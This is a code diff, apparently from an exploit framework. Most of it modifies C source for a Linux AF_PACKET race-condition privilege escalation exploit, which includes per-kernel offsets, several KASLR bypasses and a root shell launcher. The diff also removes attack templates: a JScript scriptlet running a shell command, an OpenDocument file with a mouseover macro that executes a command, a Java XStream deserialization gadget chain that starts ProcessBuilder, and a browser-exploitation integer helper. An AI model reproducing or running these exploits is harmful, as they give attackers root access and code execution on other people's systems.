{ "4.4.0-24-lowlatency #43-Ubuntu", 0x88ae0, 0xe48f00, 0x28c9a0, 0x6fae0 },
|
||||
{ "4.4.0-28-lowlatency #47-Ubuntu", 0x88b20, 0xe48f80, 0x28ce20, 0x6fae0 },
|
||||
{ "4.4.0-31-lowlatency #50-Ubuntu", 0x88b20, 0xe48f80, 0x28cf10, 0x6fae0 },
|
||||
{ "4.4.0-34-lowlatency #53-Ubuntu", 0x88b20, 0xe48f80, 0x28cf50, 0x6fae0 },
|
||||
{ "4.4.0-36-lowlatency #55-Ubuntu", 0x88b00, 0xe48f80, 0x28cf30, 0x6fad0 },
|
||||
{ "4.4.0-38-lowlatency #57-Ubuntu", 0x88bd0, 0xe48f80, 0x28d580, 0x6fad0 },
|
||||
{ "4.4.0-42-lowlatency #62-Ubuntu", 0x88c30, 0xe48f80, 0x28d5b0, 0x6faa0 },
|
||||
};
|
||||
|
||||
#define VSYSCALL 0xffffffffff600000
|
||||
@@ -217,7 +202,6 @@ struct tpacket_req3 tp;
|
||||
int sfd;
|
||||
int mapped = 0;
|
||||
|
||||
// timer_list struct defined in: include/linux/timer.h
|
||||
struct timer_list {
|
||||
void *next;
|
||||
void *prev;
|
||||
@@ -271,10 +255,6 @@ void *vers_switcher(void *arg)
|
||||
#define BUFSIZE 1408
|
||||
char exploitbuf[BUFSIZE];
|
||||
|
||||
#ifndef ETH_P_ARP
|
||||
# define ETH_P_ARP 0x0806
|
||||
#endif
|
||||
|
||||
void kmalloc(void)
|
||||
{
|
||||
while(1)
|
||||
@@ -286,7 +266,7 @@ void pad_kmalloc(void)
|
||||
int x;
|
||||
for (x = 0; x < KMALLOC_PAD; x++)
|
||||
if (socket(AF_PACKET, SOCK_DGRAM, htons(ETH_P_ARP)) == -1) {
|
||||
dprintf("[-] pad_kmalloc() socket error: %m\n");
|
||||
dprintf("[-] pad_kmalloc() socket error\n");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
}
|
||||
@@ -309,7 +289,7 @@ int try_exploit(unsigned long func, unsigned long arg, void *verification_func)
|
||||
sigaddset(&set, SIGSEGV);
|
||||
|
||||
if (pthread_sigmask(SIG_BLOCK, &set, NULL) != 0) {
|
||||
dprintf("[-] couldn't set sigmask: %m\n");
|
||||
dprintf("[-] couldn't set sigmask\n");
|
||||
exit(1);
|
||||
}
|
||||
|
||||
@@ -320,7 +300,7 @@ int try_exploit(unsigned long func, unsigned long arg, void *verification_func)
|
||||
fd = socket(AF_PACKET, SOCK_DGRAM, htons(ETH_P_ARP));
|
||||
|
||||
if (fd == -1) {
|
||||
dprintf("[-] target socket error: %m\n");
|
||||
dprintf("[-] target socket error\n");
|
||||
exit(1);
|
||||
}
|
||||
|
||||
@@ -344,7 +324,7 @@ int try_exploit(unsigned long func, unsigned long arg, void *verification_func)
|
||||
sfd = fd;
|
||||
|
||||
if (pthread_create(&setsockopt_thread_thread, NULL, setsockopt_thread, (void *)NULL)) {
|
||||
dprintf("[-] Error creating thread: %m\n");
|
||||
dprintf("[-] Error creating thread\n");
|
||||
return 1;
|
||||
}
|
||||
|
||||
@@ -380,7 +360,7 @@ int try_exploit(unsigned long func, unsigned long arg, void *verification_func)
|
||||
pbd = mmap(0, tp.tp_block_size * tp.tp_block_nr, PROT_READ | PROT_WRITE, MAP_SHARED, sfd, 0);
|
||||
|
||||
if (pbd == MAP_FAILED) {
|
||||
dprintf("[-] could not map pbd: %m\n");
|
||||
dprintf("[-] could not map pbd\n");
|
||||
exit(1);
|
||||
} else {
|
||||
off = pbd->hdr.bh1.offset_to_first_pkt;
|
||||
@@ -435,13 +415,13 @@ void *modify_vsyscall(void *arg)
|
||||
sigaddset(&set, SIGSEGV);
|
||||
|
||||
if (pthread_sigmask(SIG_UNBLOCK, &set, NULL) != 0) {
|
||||
dprintf("[-] couldn't set sigmask: %m\n");
|
||||
dprintf("[-] couldn't set sigmask\n");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
signal(SIGSEGV, catch_sigsegv);
|
||||
|
||||
*vsyscall = 0xdeadbeef + x;
|
||||
*vsyscall = 0xdeadbeef+x;
|
||||
|
||||
if (*vsyscall == 0xdeadbeef+x) {
|
||||
dprintf("[~] vsyscall page altered!\n");
|
||||
@@ -469,7 +449,7 @@ void verify_stage1(void)
|
||||
exit(0);
|
||||
}
|
||||
|
||||
write(2, ".", 1);
|
||||
write(2,".",1);
|
||||
sleep(1);
|
||||
}
|
||||
|
||||
@@ -491,7 +471,7 @@ void verify_stage2(void)
|
||||
exit(0);
|
||||
}
|
||||
|
||||
write(2, ".", 1);
|
||||
write(2,".",1);
|
||||
sleep(1);
|
||||
}
|
||||
|
||||
@@ -568,29 +548,7 @@ void wrapper(void)
|
||||
|
||||
// * * * * * * * * * * * * * * * * * Detect * * * * * * * * * * * * * * * * *
|
||||
|
||||
#define CHUNK_SIZE 1024
|
||||
|
||||
int read_file(const char* file, char* buffer, int max_length) {
|
||||
int f = open(file, O_RDONLY);
|
||||
if (f == -1)
|
||||
return -1;
|
||||
int bytes_read = 0;
|
||||
while (1) {
|
||||
int bytes_to_read = CHUNK_SIZE;
|
||||
if (bytes_to_read > max_length - bytes_read)
|
||||
bytes_to_read = max_length - bytes_read;
|
||||
int rv = read(f, &buffer[bytes_read], bytes_to_read);
|
||||
if (rv == -1)
|
||||
return -1;
|
||||
bytes_read += rv;
|
||||
if (rv == 0)
|
||||
return bytes_read;
|
||||
}
|
||||
}
|
||||
|
||||
#define PROC_CPUINFO_LENGTH 4096
|
||||
|
||||
void check_env() {
|
||||
void check_procs() {
|
||||
int min_procs = 2;
|
||||
|
||||
int nprocs = 0;
|
||||
@@ -601,24 +559,7 @@ void check_env() {
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
char buffer[PROC_CPUINFO_LENGTH];
|
||||
char* path = "/proc/cpuinfo";
|
||||
int length = read_file(path, &buffer[0], PROC_CPUINFO_LENGTH);
|
||||
if (length == -1) {
|
||||
dprintf("[-] open/read(%s): %m\n", path);
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
char* found = memmem(&buffer[0], length, "smap", 4);
|
||||
if (found != NULL) {
|
||||
dprintf("[-] SMAP detected, no bypass available\n");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
struct stat st;
|
||||
if (stat("/dev/grsec", &st) == 0) {
|
||||
dprintf("[!] Warning: grsec is in use\n");
|
||||
}
|
||||
dprintf("[.] system has %d processor cores\n", nprocs);
|
||||
}
|
||||
|
||||
struct utsname get_kernel_version() {
|
||||
@@ -632,11 +573,10 @@ struct utsname get_kernel_version() {
|
||||
}
|
||||
|
||||
#define ARRAY_SIZE(x) (sizeof(x) / sizeof((x)[0]))
|
||||
#define KERNEL_VERSION_SIZE_BUFFER 512
|
||||
|
||||
void detect_versions() {
|
||||
struct utsname u;
|
||||
char kernel_version[KERNEL_VERSION_SIZE_BUFFER];
|
||||
char kernel_version[512];
|
||||
|
||||
u = get_kernel_version();
|
||||
|
||||
@@ -651,7 +591,7 @@ void detect_versions() {
|
||||
}
|
||||
|
||||
char *u_ver = strtok(u.version, " ");
|
||||
snprintf(kernel_version, KERNEL_VERSION_SIZE_BUFFER, "%s %s", u.release, u_ver);
|
||||
snprintf(kernel_version, 512, "%s %s", u.release, u_ver);
|
||||
|
||||
int i;
|
||||
for (i = 0; i < ARRAY_SIZE(kernels); i++) {
|
||||
@@ -667,17 +607,15 @@ void detect_versions() {
|
||||
}
|
||||
|
||||
// * * * * * * * * * * * * * * syslog KASLR bypass * * * * * * * * * * * * * *
|
||||
// https://github.com/xairy/kernel-exploits/blob/master/CVE-2017-1000112/poc.c
|
||||
|
||||
#if ENABLE_KASLR_BYPASS_SYSLOG
|
||||
#define SYSLOG_ACTION_READ_ALL 3
|
||||
#define SYSLOG_ACTION_SIZE_BUFFER 10
|
||||
|
||||
int mmap_syslog(char** buffer, int* size) {
|
||||
bool mmap_syslog(char** buffer, int* size) {
|
||||
*size = klogctl(SYSLOG_ACTION_SIZE_BUFFER, 0, 0);
|
||||
if (*size == -1) {
|
||||
dprintf("[-] klogctl(SYSLOG_ACTION_SIZE_BUFFER)\n");
|
||||
return 0;
|
||||
return false;
|
||||
}
|
||||
|
||||
*size = (*size / getpagesize() + 1) * getpagesize();
|
||||
@@ -687,17 +625,16 @@ int mmap_syslog(char** buffer, int* size) {
|
||||
*size = klogctl(SYSLOG_ACTION_READ_ALL, &((*buffer)[0]), *size);
|
||||
if (*size == -1) {
|
||||
dprintf("[-] klogctl(SYSLOG_ACTION_READ_ALL)\n");
|
||||
return 0;
|
||||
return false;
|
||||
}
|
||||
|
||||
return 1;
|
||||
return true;
|
||||
}
|
||||
|
||||
unsigned long get_kernel_addr_trusty(char* buffer, int size) {
|
||||
const char* needle1 = "Freeing unused";
|
||||
char* substr = (char*)memmem(&buffer[0], size, needle1, strlen(needle1));
|
||||
if (substr == NULL)
|
||||
return 0;
|
||||
if (substr == NULL) return 0;
|
||||
|
||||
int start = 0;
|
||||
int end = 0;
|
||||
@@ -705,25 +642,22 @@ unsigned long get_kernel_addr_trusty(char* buffer, int size) {
|
||||
|
||||
const char* needle2 = "ffffff";
|
||||
substr = (char*)memmem(&substr[start], end - start, needle2, strlen(needle2));
|
||||
if (substr == NULL)
|
||||
return 0;
|
||||
if (substr == NULL) return 0;
|
||||
|
||||
char* endptr = &substr[16];
|
||||
unsigned long addr = strtoul(&substr[0], &endptr, 16);
|
||||
unsigned long r = strtoul(&substr[0], &endptr, 16);
|
||||
|
||||
addr &= 0xffffffffff000000ul;
|
||||
r &= 0xffffffffff000000ul;
|
||||
|
||||
if (addr > KERNEL_BASE_MIN && addr < KERNEL_BASE_MAX)
|
||||
return addr;
|
||||
|
||||
return 0;
|
||||
return r;
|
||||
}
|
||||
|
||||
unsigned long get_kernel_addr_xenial(char* buffer, int size) {
|
||||
const char* needle1 = "Freeing unused";
|
||||
char* substr = (char*)memmem(&buffer[0], size, needle1, strlen(needle1));
|
||||
if (substr == NULL)
|
||||
if (substr == NULL) {
|
||||
return 0;
|
||||
}
|
||||
|
||||
int start = 0;
|
||||
int end = 0;
|
||||
@@ -732,19 +666,17 @@ unsigned long get_kernel_addr_xenial(char* buffer, int size) {
|
||||
|
||||
const char* needle2 = "ffffff";
|
||||
substr = (char*)memmem(&substr[start], end - start, needle2, strlen(needle2));
|
||||
if (substr == NULL)
|
||||
if (substr == NULL) {
|
||||
return 0;
|
||||
}
|
||||
|
||||
char* endptr = &substr[16];
|
||||
unsigned long addr = strtoul(&substr[0], &endptr, 16);
|
||||
unsigned long r = strtoul(&substr[0], &endptr, 16);
|
||||
|
||||
addr &= 0xfffffffffff00000ul;
|
||||
addr -= 0x1000000ul;
|
||||
r &= 0xfffffffffff00000ul;
|
||||
r -= 0x1000000ul;
|
||||
|
||||
if (addr > KERNEL_BASE_MIN && addr < KERNEL_BASE_MAX)
|
||||
return addr;
|
||||
|
||||
return 0;
|
||||
return r;
|
||||
}
|
||||
|
||||
unsigned long get_kernel_addr_syslog() {
|
||||
@@ -767,12 +699,9 @@ unsigned long get_kernel_addr_syslog() {
|
||||
|
||||
return addr;
|
||||
}
|
||||
#endif
|
||||
|
||||
// * * * * * * * * * * * * * * kallsyms KASLR bypass * * * * * * * * * * * * * *
|
||||
// https://grsecurity.net/~spender/exploits/exploit.txt
|
||||
|
||||
#if ENABLE_KASLR_BYPASS_KALLSYMS
|
||||
unsigned long get_kernel_addr_kallsyms() {
|
||||
FILE *f;
|
||||
unsigned long addr = 0;
|
||||
@@ -784,7 +713,7 @@ unsigned long get_kernel_addr_kallsyms() {
|
||||
dprintf("[.] trying %s...\n", path);
|
||||
f = fopen(path, "r");
|
||||
if (f == NULL) {
|
||||
dprintf("[-] open/read(%s): %m\n", path);
|
||||
dprintf("[-] open/read(%s)\n", path);
|
||||
return 0;
|
||||
}
|
||||
|
||||
@@ -805,23 +734,58 @@ unsigned long get_kernel_addr_kallsyms() {
|
||||
dprintf("[-] kernel base not found in %s\n", path);
|
||||
return 0;
|
||||
}
|
||||
#endif
|
||||
|
||||
// * * * * * * * * * * * * * * System.map KASLR bypass * * * * * * * * * * * * * *
|
||||
|
||||
unsigned long get_kernel_addr_sysmap() {
|
||||
FILE *f;
|
||||
unsigned long addr = 0;
|
||||
char path[512] = "/boot/System.map-";
|
||||
char version[32];
|
||||
|
||||
struct utsname u;
|
||||
u = get_kernel_version();
|
||||
strcat(path, u.release);
|
||||
dprintf("[.] trying %s...\n", path);
|
||||
f = fopen(path, "r");
|
||||
if (f == NULL) {
|
||||
dprintf("[-] open/read(%s)\n", path);
|
||||
return 0;
|
||||
}
|
||||
|
||||
char dummy;
|
||||
char sname[256];
|
||||
char* name = "startup_64";
|
||||
int ret = 0;
|
||||
while (ret != EOF) {
|
||||
ret = fscanf(f, "%p %c %s\n", (void **)&addr, &dummy, sname);
|
||||
if (ret == 0) {
|
||||
fscanf(f, "%s\n", sname);
|
||||
continue;
|
||||
}
|
||||
if (!strcmp(name, sname)) {
|
||||
fclose(f);
|
||||
return addr;
|
||||
}
|
||||
}
|
||||
|
||||
fclose(f);
|
||||
dprintf("[-] kernel base not found in %s\n", path);
|
||||
return 0;
|
||||
}
|
||||
|
||||
// * * * * * * * * * * * * * * mincore KASLR bypass * * * * * * * * * * * * * *
|
||||
// https://bugs.chromium.org/p/project-zero/issues/detail?id=1431
|
||||
|
||||
#if ENABLE_KASLR_BYPASS_MINCORE
|
||||
unsigned long get_kernel_addr_mincore() {
|
||||
unsigned char buf[getpagesize() / sizeof(unsigned char)];
|
||||
unsigned char buf[getpagesize()/sizeof(unsigned char)];
|
||||
unsigned long iterations = 20000000;
|
||||
unsigned long addr = 0;
|
||||
|
||||
dprintf("[.] trying mincore info leak...\n");
|
||||
|
||||
/* A MAP_ANONYMOUS | MAP_HUGETLB mapping */
|
||||
if (mmap((void*)0x66000000, 0x20000000000, PROT_NONE,
|
||||
MAP_SHARED | MAP_ANONYMOUS | MAP_HUGETLB | MAP_NORESERVE, -1, 0) == MAP_FAILED) {
|
||||
dprintf("[-] mmap(): %m\n");
|
||||
MAP_SHARED | MAP_ANONYMOUS | MAP_HUGETLB | MAP_NORESERVE, -1, 0) == MAP_FAILED) {
|
||||
dprintf("[-] mmap()\n");
|
||||
return 0;
|
||||
}
|
||||
|
||||
@@ -829,50 +793,46 @@ unsigned long get_kernel_addr_mincore() {
|
||||
for (i = 0; i <= iterations; i++) {
|
||||
/* Touch a mishandle with this type mapping */
|
||||
if (mincore((void*)0x86000000, 0x1000000, buf)) {
|
||||
dprintf("[-] mincore(): %m\n");
|
||||
dprintf("[-] mincore()\n");
|
||||
return 0;
|
||||
}
|
||||
|
||||
int n;
|
||||
for (n = 0; n < getpagesize() / sizeof(unsigned char); n++) {
|
||||
for (n = 0; n < getpagesize()/sizeof(unsigned char); n++) {
|
||||
addr = *(unsigned long*)(&buf[n]);
|
||||
/* Kernel address space */
|
||||
if (addr > KERNEL_BASE_MIN && addr < KERNEL_BASE_MAX) {
|
||||
if (addr > 0xffffffff00000000) {
|
||||
addr &= 0xffffffffff000000ul;
|
||||
if (munmap((void*)0x66000000, 0x20000000000))
|
||||
dprintf("[-] munmap(): %m\n");
|
||||
dprintf("[-] munmap()\n");
|
||||
return addr;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
if (munmap((void*)0x66000000, 0x20000000000))
|
||||
dprintf("[-] munmap(): %m\n");
|
||||
dprintf("[-] munmap()\n");
|
||||
|
||||
dprintf("[-] kernel base not found in mincore info leak\n");
|
||||
return 0;
|
||||
}
|
||||
#endif
|
||||
|
||||
// * * * * * * * * * * * * * * KASLR bypasses * * * * * * * * * * * * * * * *
|
||||
|
||||
unsigned long get_kernel_addr() {
|
||||
unsigned long addr = 0;
|
||||
|
||||
#if ENABLE_KASLR_BYPASS_KALLSYMS
|
||||
addr = get_kernel_addr_kallsyms();
|
||||
if (addr) return addr;
|
||||
#endif
|
||||
|
||||
#if ENABLE_KASLR_BYPASS_SYSLOG
|
||||
addr = get_kernel_addr_sysmap();
|
||||
if (addr) return addr;
|
||||
|
||||
addr = get_kernel_addr_syslog();
|
||||
if (addr) return addr;
|
||||
#endif
|
||||
|
||||
#if ENABLE_KASLR_BYPASS_MINCORE
|
||||
addr = get_kernel_addr_mincore();
|
||||
if (addr) return addr;
|
||||
#endif
|
||||
|
||||
dprintf("[-] KASLR bypass failed\n");
|
||||
exit(EXIT_FAILURE);
|
||||
@@ -891,7 +851,7 @@ void launch_rootshell(void)
|
||||
fd = open(SYSCTL_PATH, O_WRONLY);
|
||||
|
||||
if(fd == -1) {
|
||||
dprintf("[-] open(%s): %m\n", SYSCTL_PATH);
|
||||
dprintf("[-] could not open %s\n", SYSCTL_PATH);
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
@@ -917,12 +877,12 @@ void launch_rootshell(void)
|
||||
|
||||
void setup_sandbox() {
|
||||
if (unshare(CLONE_NEWUSER) != 0) {
|
||||
dprintf("[-] unshare(CLONE_NEWUSER): %m\n");
|
||||
dprintf("[-] unshare(CLONE_NEWUSER)\n");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
if (unshare(CLONE_NEWNET) != 0) {
|
||||
dprintf("[-] unshare(CLONE_NEWNET): %m\n");
|
||||
dprintf("[-] unshare(CLONE_NEWNET)\n");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
}
|
||||
@@ -930,6 +890,8 @@ void setup_sandbox() {
|
||||
int main(int argc, char **argv)
|
||||
{
|
||||
int status, pid;
|
||||
struct utsname u;
|
||||
char buf[512], *f;
|
||||
|
||||
if (getuid() == 0 && geteuid() == 0) {
|
||||
chown("/proc/self/exe", 0, 0);
|
||||
@@ -946,11 +908,11 @@ int main(int argc, char **argv)
|
||||
|
||||
dprintf("linux AF_PACKET race condition exploit by rebel\n");
|
||||
|
||||
#if ENABLE_SYSTEM_CHECKS
|
||||
dprintf("[.] checking system\n");
|
||||
check_env();
|
||||
dprintf("[~] done, looks good\n");
|
||||
#endif
|
||||
dprintf("[.] starting\n");
|
||||
|
||||
dprintf("[.] checking hardware\n");
|
||||
check_procs();
|
||||
dprintf("[~] done, hardware looks good\n");
|
||||
|
||||
dprintf("[.] checking kernel version\n");
|
||||
detect_versions();
|
||||
|
||||
Binary file not shown.
Binary file not shown.
@@ -1,16 +0,0 @@
|
||||
<?xml version='1.0'?>
|
||||
<package>
|
||||
<component id='giffile'>
|
||||
<registration
|
||||
description='Dummy'
|
||||
progid='giffile'
|
||||
version='1.00'
|
||||
remotable='True'>
|
||||
</registration>
|
||||
<script language='JScript'>
|
||||
<![CDATA[
|
||||
var q = new ActiveXObject('Wscript.Shell').Run("SCRIPTED_COMMAND");
|
||||
]]>
|
||||
</script>
|
||||
</component>
|
||||
</package>
|
||||
@@ -1,46 +0,0 @@
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
|
||||
<office:document xmlns:office="urn:oasis:names:tc:opendocument:xmlns:office:1.0" xmlns:style="urn:oasis:names:tc:opendocument:xmlns:style:1.0" xmlns:text="urn:oasis:names:tc:opendocument:xmlns:text:1.0" xmlns:table="urn:oasis:names:tc:opendocument:xmlns:table:1.0" xmlns:draw="urn:oasis:names:tc:opendocument:xmlns:drawing:1.0" xmlns:fo="urn:oasis:names:tc:opendocument:xmlns:xsl-fo-compatible:1.0" xmlns:xlink="http://www.w3.org/1999/xlink" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:meta="urn:oasis:names:tc:opendocument:xmlns:meta:1.0" xmlns:number="urn:oasis:names:tc:opendocument:xmlns:datastyle:1.0" xmlns:svg="urn:oasis:names:tc:opendocument:xmlns:svg-compatible:1.0" xmlns:chart="urn:oasis:names:tc:opendocument:xmlns:chart:1.0" xmlns:dr3d="urn:oasis:names:tc:opendocument:xmlns:dr3d:1.0" xmlns:math="http://www.w3.org/1998/Math/MathML" xmlns:form="urn:oasis:names:tc:opendocument:xmlns:form:1.0" xmlns:script="urn:oasis:names:tc:opendocument:xmlns:script:1.0" xmlns:config="urn:oasis:names:tc:opendocument:xmlns:config:1.0" xmlns:ooo="http://openoffice.org/2004/office" xmlns:ooow="http://openoffice.org/2004/writer" xmlns:oooc="http://openoffice.org/2004/calc" xmlns:dom="http://www.w3.org/2001/xml-events" xmlns:xforms="http://www.w3.org/2002/xforms" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:rpt="http://openoffice.org/2005/report" xmlns:of="urn:oasis:names:tc:opendocument:xmlns:of:1.2" xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns:grddl="http://www.w3.org/2003/g/data-view#" xmlns:officeooo="http://openoffice.org/2009/office" xmlns:tableooo="http://openoffice.org/2009/table" xmlns:drawooo="http://openoffice.org/2010/draw" xmlns:calcext="urn:org:documentfoundation:names:experimental:calc:xmlns:calcext:1.0" xmlns:loext="urn:org:documentfoundation:names:experimental:office:xmlns:loext:1.0" xmlns:field="urn:openoffice:names:experimental:ooo-ms-interop:xmlns:field:1.0" xmlns:formx="urn:openoffice:names:experimental:ooxml-odf-interop:xmlns:form:1.0" xmlns:css3t="http://www.w3.org/TR/css3-text/" office:version="1.2" office:mimetype="application/vnd.oasis.opendocument.text">
|
||||
<office:meta><meta:creation-date>2019-01-30T10:53:06.762000000</meta:creation-date><dc:date>2019-01-30T10:53:49.512000000</dc:date><meta:editing-duration>PT44S</meta:editing-duration><meta:editing-cycles>1</meta:editing-cycles><meta:document-statistic meta:table-count="0" meta:image-count="0" meta:object-count="0" meta:page-count="1" meta:paragraph-count="1" meta:word-count="1" meta:character-count="4" meta:non-whitespace-character-count="4"/><meta:generator>LibreOffice/6.1.2.1$Windows_X86_64 LibreOffice_project/65905a128db06ba48db947242809d14d3f9a93fe</meta:generator></office:meta>
|
||||
<office:scripts>
|
||||
<office:script script:language="ooo:Basic">
|
||||
<ooo:libraries xmlns:ooo="http://openoffice.org/2004/office" xmlns:xlink="http://www.w3.org/1999/xlink">
|
||||
<ooo:library-embedded ooo:name="Standard"/>
|
||||
</ooo:libraries>
|
||||
</office:script>
|
||||
</office:scripts>
|
||||
<office:styles>
|
||||
<style:default-style style:family="graphic">
|
||||
<style:graphic-properties svg:stroke-color="#3465a4" draw:fill-color="#729fcf" fo:wrap-option="no-wrap" draw:shadow-offset-x="0.1181in" draw:shadow-offset-y="0.1181in" draw:start-line-spacing-horizontal="0.1114in" draw:start-line-spacing-vertical="0.1114in" draw:end-line-spacing-horizontal="0.1114in" draw:end-line-spacing-vertical="0.1114in" style:flow-with-text="false"/>
|
||||
<style:paragraph-properties style:text-autospace="ideograph-alpha" style:line-break="strict" style:font-independent-line-spacing="false">
|
||||
<style:tab-stops/>
|
||||
</style:paragraph-properties>
|
||||
<style:text-properties style:use-window-font-color="true" style:font-name="Liberation Serif" fo:font-size="96pt" fo:language="en" fo:country="US" style:letter-kerning="true" style:font-name-asian="NSimSun" style:font-size-asian="96pt" style:language-asian="zh" style:country-asian="CN" style:font-name-complex="Arial" style:font-size-complex="96pt" style:language-complex="hi" style:country-complex="IN"/>
|
||||
</style:default-style>
|
||||
<style:default-style style:family="paragraph">
|
||||
<style:paragraph-properties fo:orphans="2" fo:widows="2" fo:hyphenation-ladder-count="no-limit" style:text-autospace="ideograph-alpha" style:punctuation-wrap="hanging" style:line-break="strict" style:tab-stop-distance="0.4925in" style:writing-mode="page"/>
|
||||
<style:text-properties style:use-window-font-color="true" style:font-name="Liberation Serif" fo:font-size="96pt" fo:language="en" fo:country="US" style:letter-kerning="true" style:font-name-asian="NSimSun" style:font-size-asian="96pt" style:language-asian="zh" style:country-asian="CN" style:font-name-complex="Arial" style:font-size-complex="96pt" style:language-complex="hi" style:country-complex="IN" fo:hyphenate="false" fo:hyphenation-remain-char-count="2" fo:hyphenation-push-char-count="2"/>
|
||||
</style:default-style>
|
||||
<style:default-style style:family="table">
|
||||
<style:table-properties table:border-model="collapsing"/>
|
||||
</style:default-style>
|
||||
<style:default-style style:family="table-row">
|
||||
<style:table-row-properties fo:keep-together="auto"/>
|
||||
</style:default-style>
|
||||
<style:style style:name="Standard" style:family="paragraph" style:class="text"/>
|
||||
<style:style style:name="Text_20_body" style:display-name="Text body" style:family="paragraph" style:parent-style-name="Standard" style:class="text">
|
||||
<style:paragraph-properties fo:margin-top="0in" fo:margin-bottom="0.0972in" loext:contextual-spacing="false" fo:line-height="115%"/>
|
||||
</style:style>
|
||||
<style:style style:name="Internet_20_link" style:display-name="Internet link" style:family="text">
|
||||
<style:text-properties fo:color="#ffffff" fo:language="zxx" fo:country="none" style:text-underline-style="solid" style:text-underline-width="auto" style:text-underline-color="font-color" style:language-asian="zxx" style:country-asian="none" style:language-complex="zxx" style:country-complex="none"/>
|
||||
</style:style>
|
||||
</office:styles>
|
||||
<office:master-styles>
|
||||
<style:master-page style:name="Standard" style:page-layout-name="pm1"/>
|
||||
</office:master-styles>
|
||||
<office:body>
|
||||
<office:text>
|
||||
<text:p text:style-name="Standard"><text:a xlink:type="simple" xlink:href="http://<%=text_content%>/" text:style-name="Internet_20_link" text:visited-style-name="Visited_20_Internet_20_Link"><office:event-listeners><script:event-listener script:language="ooo:script" script:event-name="dom:mouseover" xlink:href="vnd.sun.star.script:<%= path %>$tempfilepager(1, <%= @cmd %>)?language=Python&location=share" xlink:type="simple"/></office:event-listeners><text:span text:style-name="T1"><%= text_content %></text:span></text:a></text:p>
|
||||
</office:text>
|
||||
</office:body>
|
||||
</office:document>
|
||||
@@ -1,54 +0,0 @@
|
||||
<map>
|
||||
<entry>
|
||||
<jdk.nashorn.internal.objects.NativeString>
|
||||
<flags>0</flags>
|
||||
<value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data">
|
||||
<dataHandler>
|
||||
<dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource">
|
||||
<is class="javax.crypto.CipherInputStream">
|
||||
<cipher class="javax.crypto.NullCipher">
|
||||
<initialized>false</initialized>
|
||||
<opmode>0</opmode>
|
||||
<serviceIterator class="javax.imageio.spi.FilterIterator">
|
||||
<iter class="javax.imageio.spi.FilterIterator">
|
||||
<iter class="java.util.Collections$EmptyIterator"/>
|
||||
<next class="java.lang.ProcessBuilder">
|
||||
<command>
|
||||
<%=payload_cmd%>
|
||||
</command>
|
||||
<redirectErrorStream>false</redirectErrorStream>
|
||||
</next>
|
||||
</iter>
|
||||
<filter class="javax.imageio.ImageIO$ContainsFilter">
|
||||
<method>
|
||||
<class>java.lang.ProcessBuilder</class>
|
||||
<name>start</name>
|
||||
<parameter-types/>
|
||||
</method>
|
||||
<name>foo</name>
|
||||
</filter>
|
||||
<next class="string">foo</next>
|
||||
</serviceIterator>
|
||||
<lock/>
|
||||
</cipher>
|
||||
<input class="java.lang.ProcessBuilder$NullInputStream"/>
|
||||
<ibuffer></ibuffer>
|
||||
<done>false</done>
|
||||
<ostart>0</ostart>
|
||||
<ofinish>0</ofinish>
|
||||
<closed>false</closed>
|
||||
</is>
|
||||
<consumed>false</consumed>
|
||||
</dataSource>
|
||||
<transferFlavors/>
|
||||
</dataHandler>
|
||||
<dataLen>0</dataLen>
|
||||
</value>
|
||||
</jdk.nashorn.internal.objects.NativeString>
|
||||
<jdk.nashorn.internal.objects.NativeString reference="../jdk.nashorn.internal.objects.NativeString"/>
|
||||
</entry>
|
||||
<entry>
|
||||
<jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>
|
||||
<jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>
|
||||
</entry>
|
||||
</map>
|
||||
@@ -1,194 +0,0 @@
|
||||
//
|
||||
// Tiny module that provides big (64bit) integers.
|
||||
//
|
||||
// Copyright (c) 2016 Samuel Groß
|
||||
//
|
||||
// Requires utils.js
|
||||
//
|
||||
|
||||
// Datatype to represent 64-bit integers.
|
||||
//
|
||||
// Internally, the integer is stored as a Uint8Array in little endian byte order.
|
||||
function Int64(v) {
|
||||
// The underlying byte array.
|
||||
var bytes = new Uint8Array(8);
|
||||
|
||||
switch (typeof v) {
|
||||
case 'number':
|
||||
v = '0x' + Math.floor(v).toString(16);
|
||||
case 'string':
|
||||
if (v.startsWith('0x'))
|
||||
v = v.substr(2);
|
||||
if (v.length % 2 == 1)
|
||||
v = '0' + v;
|
||||
|
||||
var bigEndian = unhexlify(v, 8);
|
||||
bytes.set(Array.from(bigEndian).reverse());
|
||||
break;
|
||||
case 'object':
|
||||
if (v instanceof Int64) {
|
||||
bytes.set(v.bytes());
|
||||
} else {
|
||||
if (v.length != 8)
|
||||
throw TypeError("Array must have excactly 8 elements.");
|
||||
bytes.set(v);
|
||||
}
|
||||
break;
|
||||
case 'undefined':
|
||||
break;
|
||||
default:
|
||||
throw TypeError("Int64 constructor requires an argument.");
|
||||
}
|
||||
|
||||
// Return a double whith the same underlying bit representation.
|
||||
this.asDouble = function() {
|
||||
// Check for NaN
|
||||
if (bytes[7] == 0xff && (bytes[6] == 0xff || bytes[6] == 0xfe))
|
||||
throw new RangeError("Integer can not be represented by a double");
|
||||
|
||||
return Struct.unpack(Struct.float64, bytes);
|
||||
};
|
||||
|
||||
// Return a javascript value with the same underlying bit representation.
|
||||
// This is only possible for integers in the range [0x0001000000000000, 0xffff000000000000)
|
||||
// due to double conversion constraints.
|
||||
this.asJSValue = function() {
|
||||
if ((bytes[7] == 0 && bytes[6] == 0) || (bytes[7] == 0xff && bytes[6] == 0xff))
|
||||
throw new RangeError("Integer can not be represented by a JSValue");
|
||||
|
||||
